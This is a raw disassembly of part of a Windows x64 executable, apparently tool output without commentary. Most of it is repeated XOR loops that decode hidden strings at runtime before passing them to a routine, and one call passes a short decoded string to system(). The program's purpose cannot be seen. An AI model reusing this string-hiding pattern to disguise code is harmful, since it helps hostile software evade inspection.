shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x14001be00
cmp r8d, 0x24
jge 0x14001bf43
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14001bf10
lea rcx, [rbp + 0x80]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029b40]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [0x140029b50]
movups xmmword [rbp + 0x1c0], xmm1
movsd xmm0, qword [0x140029b60]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140029b68]
mov dword [rbp + 0x1d8], eax
movzx eax, byte [0x140029b6c]
mov byte [rbp + 0x1dc], al
mov r8d, edi
cmp r15d, 2
jl 0x14001c0b8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x1b0]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x14001bfc0
cmp r8d, 0x2d
jge 0x14001c103
movsxd rax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001c0d0
lea rcx, [rbp + 0x1b0]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029ed8]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [0x140029ee8]
movups xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [0x140029ef8]
movups xmmword [rbp + 0x240], xmm0
movzx eax, word [0x140029f08]
mov word [rbp + 0x250], ax
mov r8d, edi
cmp r15d, 2
jl 0x14001c268
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x220]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001c170
cmp r8d, 0x32
jge 0x14001c2b3
movsxd rax, r8d
lea r9, [rbp + 0x220]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x14001c280
lea rcx, [rbp + 0x220]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029d20]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [0x140029d30]
movups xmmword [rbp + 0xe8], xmm1
movups xmm0, xmmword [0x140029d40]
movups xmmword [rbp + 0xf8], xmm0
mov eax, dword [0x140029d50]
mov dword [rbp + 0x108], eax
movzx eax, word [0x140029d54]
mov word [rbp + 0x10c], ax
movzx eax, byte [0x140029d56]
mov byte [rbp + 0x10e], al
mov r8d, edi
cmp r15d, 2
jl 0x14001c429
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0xd8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001c331
cmp r8d, 0x37
jge 0x14001c473
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x14001c440
lea rcx, [rbp + 0xd8]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029ce8]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [0x140029cf8]
movups xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [0x140029d08]
movups xmmword [rbp + 0x28], xmm0
movzx eax, word [0x140029d18]
mov word [rbp + 0x38], ax
mov r8d, edi
cmp r15d, 2
jl 0x14001c5c8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001c4d0
cmp r8d, 0x32
jge 0x14001c613
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x14001c5e0
lea rcx, [rbp + 8]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029c60]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [0x140029c70]
movups xmmword [rbp + 0x1f8], xmm1
movups xmm0, xmmword [0x140029c80]
movups xmmword [rbp + 0x208], xmm0
mov eax, dword [0x140029c90]
mov dword [rbp + 0x218], eax
mov r8d, edi
cmp r15d, 2
jl 0x14001c778
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x1e8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001c680
cmp r8d, 0x34
jge 0x14001c7c3
movsxd rax, r8d
lea r9, [rbp + 0x1e8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x14001c790
lea rcx, [rbp + 0x1e8]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029bc8]
movups xmmword [rbp + 0x258], xmm0
movups xmm1, xmmword [0x140029bd8]
movups xmmword [rbp + 0x268], xmm1
movups xmm0, xmmword [0x140029be8]
movups xmmword [rbp + 0x278], xmm0
movzx eax, word [0x140029bf8]
mov word [rbp + 0x288], ax
movzx eax, byte [0x140029bfa]
mov byte [rbp + 0x28a], al
mov r8d, edi
cmp r15d, 2
jl 0x14001c938
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x258]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001c840
cmp r8d, 0x33
jge 0x14001c983
movsxd rax, r8d
lea r9, [rbp + 0x258]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x14001c950
lea rcx, [rbp + 0x258]
jmp 0x14001ce88
movups xmm0, xmmword [0x140029c28]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140029c38]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140029c48]
movups xmmword [rbp - 0x10], xmm0
movzx eax, word [0x140029c58]
mov word [rbp], ax
mov r8d, edi
cmp r15d, 2
jl 0x14001cad8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp - 0x30]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001c9e0
cmp r8d, 0x32
jge 0x14001cb23
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x14001caf0
lea rcx, [rbp - 0x30]
jmp 0x14001ce88
movups xmm0, xmmword [0x140030af8]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140030b08]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x140030b18]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x140030b20]
mov byte [rbp + 0xa8], al
mov r8d, edi
cmp r15d, 2
jl 0x14001cc88
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x14001cb90
cmp r8d, 0x29
jge 0x14001ccd3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14001cca0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [0x1400299e0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400299f0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140029a00]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140029a10]
movups xmmword [rbp - 0x80], xmm1
mov eax, dword [0x140029a20]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x140029a24]
mov byte [rbp - 0x6c], al
mov r8d, edi
cmp r15d, 2
jl 0x14001ce38
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rsp + 0x50]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x40
jl 0x14001cd40
cmp r8d, 0x45
jge 0x14001ce83
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x45
jl 0x14001ce50
lea rcx, [rsp + 0x50]
call fcn.1400021c0
mov rcx, qword [0x140036e50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14001cea3
call fcn.140016180
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
test r13d, r13d
jne 0x1400214dc
mov eax, dword [0x140029db4]
mov dword [rbp + 0xd0], eax
cmp byte [0x140029db7], r13b
je 0x14001cf69
mov r8d, edi
cmp r15d, 2
jl 0x14001cf38
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xd0], xmm1
jmp 0x14001cf69
lea r9, [rbp + 0xd0]
nop
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14001cf40
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14002a0a0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14002a0b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14002a0c0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14002a0d0]
movups xmmword [rbp - 0x80], xmm1
mov eax, dword [0x14002a0e0]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14002a0e4]
mov word [rbp - 0x6c], ax
mov r8d, edi
cmp r15d, 2
jl 0x14001d0d8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rsp + 0x50]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x40
jl 0x14001cfe0
cmp r8d, 0x46
jge 0x14001d123
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x46
jl 0x14001d0f0
lea rcx, [rsp + 0x50]
call fcn.1400021c0
movups xmm0, xmmword [0x14002a050]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14002a060]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14002a070]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14002a080]
movups xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [0x14002a090]
movsd qword [rbp - 0x70], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x14001d281
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rsp + 0x50]
mov r8d, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
